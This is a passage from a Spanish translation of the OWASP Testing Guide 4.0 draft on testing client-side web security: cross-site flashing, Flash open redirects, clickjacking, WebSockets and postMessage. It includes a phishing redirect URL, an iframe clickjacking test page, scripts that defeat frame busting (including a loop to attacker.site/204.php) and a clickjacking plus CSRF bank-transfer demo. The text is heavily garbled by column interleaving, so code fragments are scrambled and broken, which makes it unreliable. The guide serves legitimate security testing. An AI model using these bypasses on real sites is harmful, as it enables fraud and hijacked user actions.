ya que el JavaScript interno ejecutado por el navegador será algo como:
Cross-Site Flashing
eval(‘try { __flash__toXML(‘+__root.callback+’) “<undefined/>”; }’)
;
}
catch
(e)
{
El cross-site flashing (XSF) es una vulnerabilidad que tiene un efecto similar a XSS.
Inyección HTML Los objetos de campo de texto pueden hacer un HTML mínimo estableciendo: tf.html = true
El XSF se produce desde diferentes dominios: • Una película carga otra película con la función loadMovie * o con otros hacks y tiene acceso a la misma zona protegida o a parte de ella.
tf.htmlText = ‘<tag>text</tag>’ • El XSF también podría ocurrir cuando una página HTML utiliza JavaScript para mandar una película de Adobe Flash, por ejemplo, comunicándose con:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 310
Guia de pruebas 4.0 "Borrador"
• GetVariable: accede a los objetos públicos y estáticos de flash mediante una cadena JavaScript.
• SetVariable: fija un objeto estático o público de flash en un nuevo valor de cadena de JavaScript.
• Una comunicación inesperada desde el navegador hacia el SWF podría dar lugar al robo de datos de la aplicación SWF.
que el usuario tiene en trusted.example.org para engañar al usuario a que entre en su página web maliciosa. A partir de ahí, se podría poner en marcha un 0-día, se llevaría a cabo la suplantación de la página web original, o cualquier otro tipo de ataque. SWF puede, sin querer, estar actuando como un redireccionador abierto en el sitio web.
Los desarrolladores deberían evitar tomar URL completas como variables de Flash. Si sólo se va a navegar dentro de su propio sitio web, entonces se deberían utilizar URL relativas o comprobar que la URL comienza con un dominio de confianza y protocolo.
Los ataques y la versión de Flash Player Esto podría llevarse a cabo forzando a un SWF defectuoso a cargar un archivo flash malicioso externo. Este ataque podría resultar en XSS o en la modificación de la interfaz gráfica del usuario, con el fin de engañarlo para que inserte sus credenciales en un formulario flash falso. El XSF podría ser utilizado en presencia de una inyección de Flash HTML o de archivos SWF externos cuando se utilicen métodos loadMovie *.
Desde mayo de 2007, tres nuevas versiones de Flash Player fueron lanzadas al mercado por Adobe. Cada nueva versión restringe algunos de los ataques descritos anteriormente.
Redirectores abiertos Los SWF tienen la capacidad de navegar con el explorador. Si el SWF toma el destino como un FlashVar, entonces el SWF puede ser utilizado como un redirector abierto. Un redirector abierto es cualquier pieza de funcionalidad en un sitio web de confianza, que un atacante puede utilizar para redirigir al usuario a un sitio web malicioso. Estos se utilizan con frecuencia dentro de los ataques de phishing. Al igual que en cross-site scripting, el ataque implica que un usuario final haga clic en un enlace malicioso.
Resultado esperado: Cross-Site Scripting y Cross-Site Flashing son los resultados esperados en un archivo SWF defectuoso.
Herramientas En el caso de Flash, la URL maliciosa podría verse como: http://trusted.example.org/trusted.swf?getURLValue=http://www.evilspoofing-website.org/phishEndUsers.html
En el ejemplo anterior, un usuario final puede ver que la URL comienza en su sitio web favorito, de confianza, y hace clic en él. El enlace carga el archivo SWF de confianza que tiene el getURLValue y le proporciona una llamada de navegación del navegador ActionScript: getURL(_root.getURLValue,”_self”);
Este navegaría con el explorador a la URL maliciosa, proporcionada por el atacante. En este punto, el phisher ha aprovechado con éxito la confianza
• Adobe SWF Investigator: labs.adobe.com
• SWFScan: downloadcrew.com
• SWFIntruder: owasp.org
• Decompiler - Flare: nowrap.de
• Compiler - MTASC: mtasc.org
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 311
Guia de pruebas 4.0 "Borrador"
• Disassembler - Flasm: flasm.sourceforge.net
• Swfmill - Convert Swf to XML and vice versa: swfmill.org
• Debugger Version of Flash Plugin/Player: adobe.com
Referencias
"Clickjacking" (que es un subconjunto de “UI redressing”) es una técnica maliciosa que consiste en engañar a un usuario web para que interactúe (en la mayoría de los casos haciendo clic) con algo diferente a lo que el usuario cree que está interactuando.
Este tipo de ataque, que puede ser utilizado solo o en combinación con otros ataques, podría potencialmente enviar comandos no autorizados o revelar información confidencial mientras la víctima está interactuando con páginas web aparentemente inofensivas. El término "clickjacking" fue acuñado por Jeremiah Grossman y Robert Hansen en 2008.
OWASP • Proyecto de Seguirdad Flash OWASP: El Proyecto de Seguirdad OWASP Flash tiene incluso más referencias que las que se enumeran a continuación: owasp.org
Libros Blancos • Testing Flash Applications: A new attack vector for XSS
Un ataque de clickjacking utiliza características aparentemente inocuas de HTML y Javascript para obligar a la víctima a realizar acciones no deseadas tales como hacer clic en un botón que parece realizar otra operación. Se trata de un problema de seguridad "del lado del cliente", que afecta a una gran variedad de navegadores y plataformas
Para llevar a cabo este tipo de técnica, el atacante tiene que crear una página web aparentemente inofensiva que cargue la aplicación al objetivo de destino, mediante el uso de un iframe (convenientemente oculto mediante el uso de código CSS).
and XSFlashing: owasp.org
• Finding Vulnerabilities in Flash Applications: owasp.org
Una vez que esto se ha hecho, el atacante podría inducir a la víctima a interactuar con su página web ficticia por otros medios (como por ejemplo ingeniería social). Al igual que otros ataques, un requisito habitual es que la víctima sea autenticada contra el sitio web de destino del atacante.
• Adobe security updates with Flash Player 9,0,124,0 to reduce cross-site attacks: adobe.com
• Securing SWF Applications: adobe.com
• The Flash Player Development Center Security Section: adobe.com
• The Flash Player 10.0 Security Whitepaper: adobe.com
Prueba de Clickjacking (OTG-CLIENT-009) Resumen
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 312
Guia de pruebas 4.0 "Borrador"
Una vez que la víctima navega en la página web ficticia, piensa que está interactuando con la interfaz de usuario visible, pero efectivamente está llevando a cabo acciones en la página oculta.
<html> <head> <title>Clickjack test page</title>
Debido a que la página oculta es una página auténtica, el atacante puede engañar a los usuarios para realizar acciones que nunca tuvieron la intención de hacer a través de un posicionamiento "ad hoc" de los elementos de la página web.
</head> <body> <p>Website is vulnerable to clickjacking!</p> <iframe src=”http://www.target.site” height=”500”></iframe>
width=”500”
</body> </html>
El poder de este método se debe al hecho de que las acciones realizadas por la víctima se originaron desde la página web auténtica (oculta pero auténtica). En consecuencia, algunas de las protecciones contra CSRF realizadas por los desarrolladores para proteger a la página web de los ataques CSRF podrían ser evadidas.
Resultado esperado: Si se puede ver el texto "Sitio web vulnerable a clickjacking" (Website is vulnerable to clickjacking!) en la parte superior de la página y su página web de destino logra cargarla correctamente en el marco, entonces su sitio es vulnerable y no tiene ningún tipo de protección contra los ataques de clickjacking. Ahora usted puede crear directamente una "prueba de concepto" para demostrar que un atacante podría aprovechar esta vulnerabilidad.
Pasar por alto la protección para Clickjacking: Cómo probar Como se mencionó anteriormente, este tipo de ataque es, a menudo, diseñado para permitir que el sitio del atacante pueda inducir al usuario hacia el sitio de destino, incluso si se utilizan fichas contra-CSRF. Así que es importante, al igual que para el ataque CSRF, identificar las páginas web del sitio de destino que reciben datos ingresados por el usuario.
Tenemos que descubrir si el sitio web que estamos probando no tiene ninguna protección contra ataques de clickjacking o, si los desarrolladores han puesto en práctica algunas formas de protección, si estas técnicas son susceptibles de ser evadidas. Una vez que sabemos que el sitio web es vulnerable, podemos crear una "prueba de concepto" para explotar la vulnerabilidad.
El primer paso para descubrir si un sitio web es vulnerable es comprobar si la página web de destino podría ser cargada en un iframe. Para ello es necesario crear una página web sencilla, que incluya un marco que contenga la página web de destino. El código HTML para crear esta página web de pruebas se muestra en el siguiente fragmento:
En el caso que sólo se vea el sitio de destino o el texto "Sitio Web vulnerable a clickjacking!", pero no aparece nada en el iframe, esto quiere decir que el objetivo probablemente tiene algún tipo de protección contra el clickjacking. Es importante tener en cuenta que esto no es una garantía de que la página sea totalmente inmune a clickjacking.
Los métodos para proteger una página web del clickjacking se pueden dividir en dos grandes categorías:
• Protección del lado del cliente: Frame Busting • Protección del lado del servidor: X-Frame-Options
En algunas circunstancias, cada uno de los tipos de defensa podrían ser evitados. A continuación se presentan los principales métodos de protección contra estos ataques y las técnicas para evitarlos.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 313
Guia de pruebas 4.0 "Borrador"
Protección del lado del clente: Frame Busting El método más común del lado del cliente, que ha sido desarrollado para proteger a una página web del clickjacking, se llama Frame Busting y se compone de un script o secuencia de comandos en cada página, que no deben ser enmarcados. El objetivo de esta técnica es evitar que un sitio funcione cuando se carga dentro de un marco.
convierte en una violación de la seguridad en todos los navegadores populares debido a la política de navegación de marco descendiente. política. Esta violación de seguridad impide la navegación contra-acción. El código del sitio de destino del frame busting (sitio de destino): if(top.location!=self.locaton) { parent.location = self.location;
La estructura del código frame busting consiste típicamente en una "frase condicional" y un comando de "acción defensiva". Para este tipo de protección, hay algunos métodos alternativos que están bajo el nombre de "reventar el frame busting." Algunas de estas técnicas son específicas de un navegador, mientras que otras funcionan en todos los navegadores.
} Marco superior del atacante (fictitious2.html): <iframe src=”fictitious.html”> Submarco ficticio del atacante (fictitious.html):
Versión móvil del sitio web Las versiones móviles de la página web son generalmente más pequeñas y más rápidas que las del escritorio y tienen que ser menos complejas que la aplicación principal. Las variantes móviles tienen, a menudo, menos protección, ya que existe la suposición errónea de que un atacante no puede atacar a una solicitud presentada por el teléfono inteligente. Este es un error fundamental, ya que un atacante puede falsificar el origen real dado por un navegador web, de tal manera que una víctima no móvil puede ser capaz de visitar una aplicación hecha para los usuarios móviles. De este supuesto se deduce que, en algunos casos, no es necesario utilizar técnicas de evadir el frame busting cuando hay alternativas sin protección que permiten el uso de los mismos vectores de ataque.
<iframe src=”http://target site”>
Desactivación de Javascript Dado que este tipo de protecciones del lado del cliente se basan en el código frame busting de JavaScript, si la víctima tiene desactivado JavaScript o si es posible que un atacante pueda desactivar el código JavaScript, la página web no tendrá ningún mecanismo de protección contra el clickjacking.
Hay tres técnicas de desactivación que se pueden utilizar con los marcos: • Marcos restringidos con Internet Explorer: A partir de
Enmarcado doble Algunas técnicas de frame busting tratan de romper el marco mediante la asignación de un valor al atributo "parent.location" en el comando "contra-acción".
Internet Explorer 6, un marco puede tener el atributo "seguridad" que, si se establece en el valor "restringido", asegura el código JavaScript, los controles ActiveX y redirige a otros sitios que no funcionan en el marco. Ejemplo: <iframe src=”http://target site” security=”restricted”></iframe>
Esas acciones son, por ejemplo: • self.parent.location = document.location • parent.location.href = self.location • parent.location = self.location
Este método funciona bien hasta que la página de destino se encuentra enmarcada en una sola página. Sin embargo, si el atacante encierra la página web de destino en un bastidor que está anidado en otro (un marco doble), a continuación tratará de acceder a "parent.location", lo que se
• Atributo Sandbox: con HTML5 hay un nuevo atributo llamado "sandbox". Éste permite un conjunto de restricciones en el contenido cargado en el iframe. Por el momento, este atributo sólo es compatible con Chrome y Safari.
Ejemplo:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 314
Guia de pruebas 4.0 "Borrador"
<iframe src=”http://target site” sandbox></iframe> A continuación un código de ejemplo: Modo Diseño: Paul Stone mostró un problema de seguridad en relación con el "designMode" que puede ser activado en la página de referencia (a través de document.designMode), desactivando JavaScript en la parte superior y el sub-marco. Actualmente, el modo de diseño se implementa en Firefox e Internet Explorer 8.
página 204: <?php header(“HTTP/1.1 204 No Content”); ?>
El evento onBeforeUnload El evento onbeforeunload podría ser utilizado para evadir el código de frame busting. Este evento sucede cuando el código de frame busting quiere destruir el iframe cargando la URL en toda la página web y no sólo en el iframe. La función de controlador devuelve una cadena que se dirige al usuario para confirmar si quiere salir de la página. Cuando se muestra esta cadena al usuario es probablemente para cancelar la navegación, derrotando el intento del frame busting en el objetivo.
Página del atacante: <script> var prevent_bust = 0; window.onbeforeunload = function() { prevent_bust++; };
El atacante puede utilizar este ataque al registrar un evento de descarga en la primera página al usar el siguiente ejemplo de código:
setInterval(
<h1>www.fictitious.site</h1> function() { <script> if (prevent_bust > 0) { window.onbeforeunload = function() prevent_bust -= 2; { window.top.location return “ Do you want to leave fictitious.site?”;
}
} }, 1);
</script> <iframe src=”http://target site”>
</script>
La técnica anterior requiere la interacción del usuario, pero el mismo resultado se puede lograr sin preguntar al usuario. Para ello, el atacante tiene que cancelar automáticamente la solicitud de navegación de entrada en un controlador de eventos onbeforeunload, presentando en varias ocasiones (por ejemplo, cada milisegundo) una solicitud de navegación a una página web que responde a un encabezado "HTTP / 1.1 204 No Content".
<iframe src=”http://target site”>
Ya que con esta respuesta el navegador no va a hacer nada, el resultado de esta operación es la descarga de la tubería solicitada, inutilizando el intento del frame busting.
=
“http://attacker.site/204.php”;
Filtro XSS A partir de Google Chrome 4.0 y de IE8, se introdujeron filtros XSS para proteger a los usuarios contra ataques reflejados XSS. Nava y Lindsay han observado que este tipo de filtros se puede utilizar para desactivar el código de frame busting falso como código malicioso.
• Filtro de IE8 XSS: este filtro tiene visibilidad en todas las solicitudes y los parámetros de respuestas fluyen a través del navegador web y se los
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 315
Guia de pruebas 4.0 "Borrador"
compara con un conjunto de expresiones regulares con el fin de buscar los intentos reflejado de XSS. Cuando el filtro identifica un posible ataque XSS, se desactivan todas las secuencias de comandos dentro de la página, incluyendo los scripts de frame busting (lo mismo podría hacerse con guiones externos). Por esta razón, un atacante podría inducir un falso positivo insertando el comienzo de la secuencia de comandos de frame busting en un los parámetros de solicitud.
Ejemplo: código de frame busting en la página web destinada:
site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7 D”>
Redefinición de localización Para varios navegadores, la variable "document.location" es un atributo inmutable. Sin embargo, para algunas versiones de Internet Explorer y Safari es posible redefinir este atributo. Este hecho puede ser explotado para evadir el código de frame busting.
if ( top != self ) • Redefinición de localización en IE7 e IE8: es posible redefinir "localización", como se ilustra en el siguiente ejemplo. Mediante la definición de "localización" como una variable, cualquier código que intente leer o navegar por la asignación de "top.location" producirá un error debido a una violación de seguridad y así se suspenderá el código de frame busting.
{ top.location=self.location; } </script>
Ejemplo: Código de ataque: <script> <iframe src=”http://target site/?param=<script>if”> var location = “xyz”; </script> • Chrome 4.0 XSSAuditor filter: Chrome tiene un comportamiento un poco diferente en comparación con el filtro de IE8 XSS. De hecho, con este filtro un atacante podría desactivar un "guión" que pasa por su código en un parámetro de la solicitud. Esto permite que la página de encuadre se dirija específicamente a un único fragmento que contiene el código de frame busting, dejando intactos todos los demás códigos.
<iframe src=”http://target site”></iframe> • Redefinición de localización en Safari 4.0.4: Para romper el código de frame busting con "top.location", es posible enlazar "localización" a una función a través de defineSetter (a través de la ventana), de manera que un intento de leer o navegar a la "top.location" producirá un error.
Ejemplo: código de frame busting en la página web destinada: Ejemplo: <script> <script> if ( top != self ) window.defineSetter(“location” , function(){}); { </script> top.location=self.location; <iframe src=”http://target site”></iframe> } </script> Protección del lado del servidor: X-Frame-Options
Código de ataque: <iframe
src=”http://target
Un enfoque alternativo del lado del cliente para el código de frame busting fue implementado por Microsoft, y consiste en un encabezado basado en una defensa. Este nuevo encabezado "X-Frame-Options" se envía desde el servidor en las respuestas HTTP y se utiliza para marcar
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 316
Guia de pruebas 4.0 "Borrador"
las páginas web que no deben ser enmarcadas. Este encabezado puede tomar los valores DENY (Negar), SAMEORIGIN (Mismo origen), ALLOWFROM origin (permitir desde el origen), o non-standard ALLOWALL (no estándar permitir todo). El valor recomendado es DENY.
El encabezado "X-Frame-Options" es una solución muy buena y fue adoptada por los principales navegadores, pero hay algunas limitaciones que podrían conducir a la explotación de la vulnerabilidad de clickjacking.
destino permite autenticar y autorizar a los usuarios a realizar una transferencia de dinero a otra cuenta.
Supongamos que para ejecutar la transferencia, los desarrolladores han previsto tres pasos. En el primer paso, el usuario llena un formulario con la cuenta de destino y la cantidad. En el segundo paso, cada vez que el usuario envía el formulario, se presenta una página de resumen pidiendo confirmación (como la que se presenta en la siguiente imagen).
Compatibilidad del navegador Ya que el encabezado "X-Frame-Options" se introdujo en 2009, éste no es compatible con un navegador antiguo. Cada usuario que no tenga un navegador actualizado podría ser víctima de un ataque de clickjacking.
Un fragmento del código como ejemplo para el paso 2: //generate random anti CSRF token $csrfToken = md5(uniqid(rand(), TRUE));/ /set the token as in the session data $_SESSION[‘antiCsrf’] = $csrfToken;
//Transfer form with the hidden field $form = ‘ Proxies Los web proxies son conocidos por añadir y quitar encabezados. En el caso en el que un web proxy despoje al encabezado "X-Frame-Options", el sitio pierde su protección de enmarcar.
<form name=”transferForm” action=”confirm.php” method=”POST”> <div class=”box”> <h1>BANK XYZ - Confirm Transfer</h1> <p>
Versión móvil del sitio web También en este caso, ya que el encabezado"X-Frame-Options" tiene que ser implementado en todas las páginas del sitio web, los desarrolladores pueden no haber protegido a la versión móvil de la página web.
Do You want to confirm a transfer of <b>’. $_RE UEST[‘amount’] .’ €</b> to account: <b>’. $_RE UEST[‘account’] .’</b> ? </p> <label>
Crear una "prueba de concepto" Una vez que hemos descubierto que el sitio que estamos probando es vulnerable a los ataques de clickjacking, podemos proceder con el desarrollo de una "prueba de concepto" para demostrar la vulnerabilidad. Es importante señalar que, como se mencionó anteriormente, estos ataques se pueden utilizar en combinación con otras formas de ataques (por ejemplo ataques CSRF) y podrían conducir a vencer los tokens antiCSRF. En este sentido, podemos imaginar que, por ejemplo, el sitio de
<input type=”hidden” value=”’ . $_RE UEST[‘amount’] . ‘” />
name=”amount”
<input type=”hidden” value=”’ . $_RE UEST[‘account’] . ‘” />
name=”account”
<input
type=”hidden”
name=”antiCsrf”
value=”’ . $csrfToken . ‘” />
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 317
Guia de pruebas 4.0 "Borrador"
<input
type=”submit”
class=”button”
value=”Transfer Money” />
evadir la protección anti-CSRF y obligar a la víctima a hacer una transferencia de dinero sin su consentimiento.
</label>
</div> </form>’;
En el último paso, están los controles de seguridad planificados y, entonces, si todo está bien, se hace la transferencia. El siguiente es un fragmento del código del último paso (Nota: en este ejemplo, para simplificar, no hay ninguna limpieza de entrada, pero no es relevante bloquear este tipo de ataque): if( (!empty($_SESSION[‘antiCsrf’])) && (!empty($_POST[‘antiCsrf’])) )
La página de destino para el ataque es el segundo paso del procedimiento de transferencia de dinero. Dado que los desarrolladores ponen los controles de seguridad sólo en el último paso, pensando que esto es lo suficientemente seguro, el atacante podría pasar la cuenta y los parámetros de cantidad mediante el método GET. (Nota: Hay un intento de clickjacking avanzado que permite a un atacante obligar al usuario a llenar un formulario, haciendo el clickjacking factible incluso para los sitios en los que se requiere llenar formularios.
La página del atacante puede verse como una simple e inofensiva página web como la que se presenta a continuación:
{
//here we can suppose input sanitization code…
//check the anti-CSRF token
Pero, al jugar con el valor de opacidad CSS, podemos ver lo que se esconde debajo de una página web aparentemente inocua.
if( ($_SESSION[‘antiCsrf’] == $_POST[‘antiCsrf’]) ) { echo ‘<p> ‘. $_POST[‘amount’] .’ € successfully transfered to account: ‘. $_POST[‘account’] .’ </p>’; }
} else
El código de clickjacking que crea esta página se presenta a continuación:
{
<html> echo ‘<p>Transfer KO</p>’;
<head>
}
<title>Trusted web page</title>
Como se puede ver, el código está protegido de ataques CSRF de dos maneras: una con un token aleatorio generado en el segundo paso y la otra, aceptando solamente el método de variable pasada vía POST. En esta situación, un atacante podría forjar un ataque CSRF + Clickjacking para
<style type=”text/css”><!-*{ margin:0;
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 318
Guia de pruebas 4.0 "Borrador"
padding:0;
Recursos OWASP • Clickjacking
} body { background:#ffffff;
Libros Blancos • Marcus Niemietz: “UI Redressing: Attacks and Countermeasures
}
Revisited”: ui-redressing.mniemietz.de
.button { padding:5px;
• “Clickjacking”: en.wikipedia.org
background:#6699CC; left:275px; width:120px;
• Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: “Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites”: seclab.stanford.edu
border: 1px solid • Paul Stone: “Next generation clickjacking”: media.blackhat.com Con la ayuda de CSS (note el #clickjacking bloqueo) podemos enmascarar y posicionar el iframe adecuadamente, de tal manera que coincida con los botones. Si la víctima hace clic en el botón "Haga clic y listo!", el formulario se envía y se completa la transferencia.
Prueba de los WebSockets (OTG-CLIENT-010) Resumen Tradicionalmente, el protocolo HTTP sólo permitía una solicitud/respuesta por conexión TCP. Asynchronous JavaScript y XML (AJAX) permiten a los clientes enviar y recibir datos de forma asíncrona (en segundo plano sin una actualización de la página) al servidor, sin embargo, AJAX requiere que el cliente inicie las peticiones y espere las respuestas del servidor (half-duplex).
El ejemplo que se presenta sólo utiliza la técnica básica de clickjacking, pero, con una técnica avanzada, es posible obligar al usuario a llenar un formulario con valores definidos por el atacante.
WebSockets HTML5 permiten al cliente / servidor crear canales de comunicación "full-duplex" (bidireccional), permitiendo que el cliente y el servidor puedan comunicarse verdaderamente en forma asíncrona. Los WebSockets conducen su 'actualización' handshake inicial a través de HTTP y, de ahí, toda la comunicación se lleva a cabo a través de canales TCP mediante el uso de marcos.
Herramientas • Contexto Seguridad de la Información: "Herramienta de clickjacking": contextis.com
Referencias
Origen Es responsabilidad del servidor verificar el encabezado de Origen en el handshake inicial WebSocket HTTP. Si el servidor no valida el encabezado de origen en el handshake inicial WebSocket, el servidor WebSocket puede aceptar conexiones de cualquier origen. Esto podría permitir a los atacantes comunicarse con el servidor de WebSocket cross-domain
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 319
Guia de pruebas 4.0 "Borrador"
permitiendo situaciones del tipo Top 10 2013-A8-Cross-Site Request Forgery (CSRF)
• Use herramientas para desarrolladores de Google Chrome para acceder a la Red WebSocket de comunicación.
Confidencialidad e integridad
• Use OWASP Zed Ataque Proxy (ZAP) 's WebSocket tab.
Los WebSockets se pueden utilizar en un TCP no cifrado o en un TLS cifrado. Para usar WebSockets sin cifrar se utiliza la ws:// esquema URI (puerto predeterminado 80), para websockets cifrados (TLS) se utiliza la wss:// esquema de URI (puerto por defecto 443). Preste atención a los problemas de Top 10 2013-A6-Sensitive Data Exposure .
2. Origen.
Autenticación Los WebSockets no manejan la autenticación. En lugar de ello, se aplican los mecanismos normales de autenticación de aplicaciones tales como cookies, autenticación HTTP o autenticación TLS. Preste atención a los problemas de Top 10 2013-A2-Broken Authentication and Session Management.
• Usando un cliente WebSocket (se puede encontrar uno en la sección de Herramientas que está a continuación) intente conectarse al servidor WebSocket remoto. Si se establece una conexión, el servidor puede no estar comprobando el encabezado de origen del WebSocket handshake.
3. Confidencialidad e integridad. • Compruebe que la conexión WebSocket utiliza SSL para transportar información sensible (WSS: //).
Autorización Los WebSockets no manejan autorización. Se aplican mecanismos de autorización de uso habituales. Preste atención a los problemas de Top 10 2013-A4-Insecure Direct Object References and Top 10 2013-A7-Missing Function Level Access Control.
• Compruebe la implementación de SSL para problemas de seguridad (certificado válido, BEAST, CRIME, RC4, etc). Consulte la sección de Pruebas de codificadores SSL/TLS débiles, protección de transporte de capas insuficiente (OTG-CRYPST-001) de esta guía.
Desinfección de entrada Al igual que con todos los datos procedentes de fuentes no confiables, los datos deben ser adecuadamente desinfectados y codificados. Preste atención a los problemas de Top 10 2013-A1-inyección y Top 10 2013-A3-Cross-Site Scripting (XSS).
4. Autenticación. • Los WebSockets no manejan la autenticación, por lo que deben llevarse a cabo pruebas normales de autenticación de Caja Negra. Consulte las secciones de pruebas de autenticación de esta guía.
5. Autorización. Cómo probar Prueba de Caja Negra
• Los WebSockets no manejan la autorización, por lo que deben llevarse a cabo pruebas normales de habilitación de Caja Negra. Consulte las secciones de pruebas de autorización de esta guía.
1. Identificar que la aplicación utiliza WebSockets. • Inspeccione el código fuente del lado del cliente para los WS: // o WSS: // esquema URI.
6. Desinfección de entrada. • Use el OWASP Zed Attack Proxy (ZAP)’s WebSocket tab para volver a reproducir y fuzz WebSocket para solicitud y respuestas. Consulte las secciones de Prueba de validación de datos de esta guía.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 320
Guia de pruebas 4.0 "Borrador"
documentación de la API para la aplicación que se está probando, la cual incluye el esperado WebSocket solicitud y respuestas. Ejemplo 1 Una vez que se ha identificado que la aplicación utiliza WebSockets (como se describió anteriormente), podemos utilizar el OWASP Zed Ataque Proxy (ZAP) para interceptar la WebSocket para solicitud y respuestas. Entonces se puede utilizar ZAP para reproducir y fuzz de los WebSockets solicitud / respuestas.
Herramientas • OWASP Zed Attack Proxy (ZAP): owasp.org
ZAP es una herramienta de pruebas de penetración integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por personas con amplia experiencia en seguridad y, como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de penetración. ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que le permiten encontrar vulnerabilidades de seguridad de forma manual.
• Cliente WebSocket - github.com
Ejemplo 2 Usando un cliente WebSocket (se puede encontrar uno en la sección Herramientas abajo), intente conectarse al servidor remoto WebSocket. Si se permite la conexión, el servidor WebSocket puede no estar revisando el encabezado de origen del WebSocket handshake. Intente reproducir las solicitudes previamente interceptadas para verificar que la comunicación WebSocket cross-domain es posible.
Un cliente WebSocket que se puede utilizar para interactuar con un servidor WebSocket.
• Cliente WebSocket Google Chrome Simple: cromo google.com
Construye solicitudes personalizadas WebSocket y maneja las respuestas para probar directamente los servicios de Websocket.
Referencias Libros Blancos • HTML5 Rocks - Introducing WebSockets: Bringing Sockets to the Web: html5rocks.com
• W3C - The WebSocket API: dev.w3.org
Prueba de Caja Gris Probar la Caja Gris es similar a probar la Caja Negra. En las pruebas de Caja Gris, el probador de la pluma tiene un conocimiento parcial de la solicitud. La única diferencia aquí es que usted puede tener
• IETF - The WebSocket Protocol: tools.ietf.org
• Christian Schneider - Cross-Site WebSocket Hijacking (CSWSH):
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 321
Guia de pruebas 4.0 "Borrador"
christian-schneider.net
• Datos: Contenido del mensaje entrante
• Jussi-Pekka Erkkilä - WebSocket Security Analysis: juerkkil.iki.fi • Origen: Origen del documento emisor • Robert Koch- On WebSockets in Penetration Testing: ub.tuwien.ac.at
• DigiNinja - OWASP ZAP and Web Sockets: digininja.org
• Fuente: ventana de la fuente
Un ejemplo: Enviar mensaje:
Prueba de mensajería web (Web Messaging) (OTG-CLIENTE-011) Resumen Web Messaging (también conocido como Cross Document Messaging) permite a las aplicaciones que se ejecutan en diferentes dominios comunicarse de una manera segura. Antes de la introducción de la web de mensajería, la comunicación de diferentes orígenes (entre iframes, pestañas y ventanas) fue restringida por la política del mismo origen y puesta en vigor por el navegador; sin embargo, los desarrolladores utilizan varios cortes con el fin de llevar a cabo estas tareas, la mayoría de ellas principalmente inseguras.
iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);
Recibir mensaje:
window.addEventListener(“message”, handler, true); function handler(event) {
Esta restricción en el navegador está colocada para evitar que un sitio web malicioso pueda leer datos confidenciales de otros iframes, tabs, etc, sin embargo, hay algunos casos donde dos legítimos sitios web de confianza necesitan intercambiar datos entre sí.
if(event.origin === ‘chat.example.com’) { /* process message (event.data) */ } else { /* ignore messages from untrusted domains */
Para satisfacer esta necesidad, se introdujo Cross Document Messaging dentro del borrador de la especificación WHATWG HTML5 y se implementó en todos los principales navegadores. Esto permitió una comunicación segura entre múltiples orígenes a través de iframes, pestañas y ventanas.
} }
Concepto de seguridad de origen La API Messaging introdujo el método postMessage (), con la que los mensajes de texto sin formato se pueden enviar a través de cross-origin. Se compone de dos parámetros: el mensaje y el dominio.
Hay algunos problemas de seguridad cuando se utiliza '*' como el dominio que se discute a continuación. Entonces, con el fin de recibir mensajes, el sitio web receptor tiene que añadir un nuevo controlador de eventos y tener los siguientes atributos:
El origen se compone de un esquema, nombre de host y del puerto que identifica de forma exclusiva el dominio de envío o recepción del mensaje. No incluye la ruta de acceso o el fragmento de la URL. Por ejemplo, https://example.com/ será considerada diferente de http://example.com porque el esquema en el primer caso es https y en el segundo, http; lo mismo se aplica a los servidores Web que se ejecutan en el mismo dominio, pero en diferentes puertos.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 322
Guia de pruebas 4.0 "Borrador"
Desde una perspectiva de seguridad, se debe comprobar si el código está filtrando y procesando mensajes solamente desde dominios de confianza. Normalmente, la mejor manera de lograr esto es usar una lista blanca. También dentro del dominio de envío, queremos asegurarnos de que el dominio de recepción se está indicando explícitamente y no '*' como el segundo argumento de postMessage (), ya que esta práctica podría introducir problemas de seguridad y podría conducir al caso de un cambio de dirección, o si el origen cambia por otros medios, el sitio web estaría enviando datos a hosts desconocidos y, por lo tanto, filtrando datos confidenciales a servidores maliciosos.
En caso de que la página web no pueda agregar controles de seguridad para restringir los dominios o los orígenes que puedan enviarle mensajes, lo más probable es introducir un riesgo de seguridad, ya que es una parte muy interesante del código desde un punto de vista de pruebas de penetración. Debemos escanear el código de los detectores de eventos de mensajes y obtener la función de devolución de llamadas desde el método addEventListener para su posterior análisis ya que, como dominios, deben ser siempre verificados antes de la manipulación de datos.
La comprobación manual debe llevarse a cabo y el código JavaScript debe ser analizado para averiguar cómo se implementa Web Messaging. En particular, debemos estar interesados en cómo el sitio web limita los mensajes provenientes de dominio de confianza, y cómo los datos se manejan incluso para los dominios de confianza. A continuación se presentan algunos ejemplos:
Ejemplo de código vulnerable : En este ejemplo, el acceso es necesario para cada subdominio (www, chat, foros, ...) dentro del dominio owasp.org. El código está tratando de aceptar cualquier dominio que termine en .owasp.org: window.addEventListener(“message”, callback, true);
function callback(e) { </b>if(e.origin.indexOf(“.owasp.org”)!=-1) {<b> /* process message (e.data) */
Validación de entrada de event.data } La validación de entrada también es importante, incluso si el sitio web está aceptando solamente mensajes de dominios de confianza. Los datos tienen que ser tratados como datos externos no confiables y se debe aplicar el mismo nivel de controles de seguridad. Debemos analizar el código y buscar métodos inseguros, en particular, si los datos se evalúan a través de eval() o se inserta en el DOM a través de innerHTML
}
La intención es permitir subdominios en esta forma: www.owasp.org chat.owasp.org forums.owasp.org ...
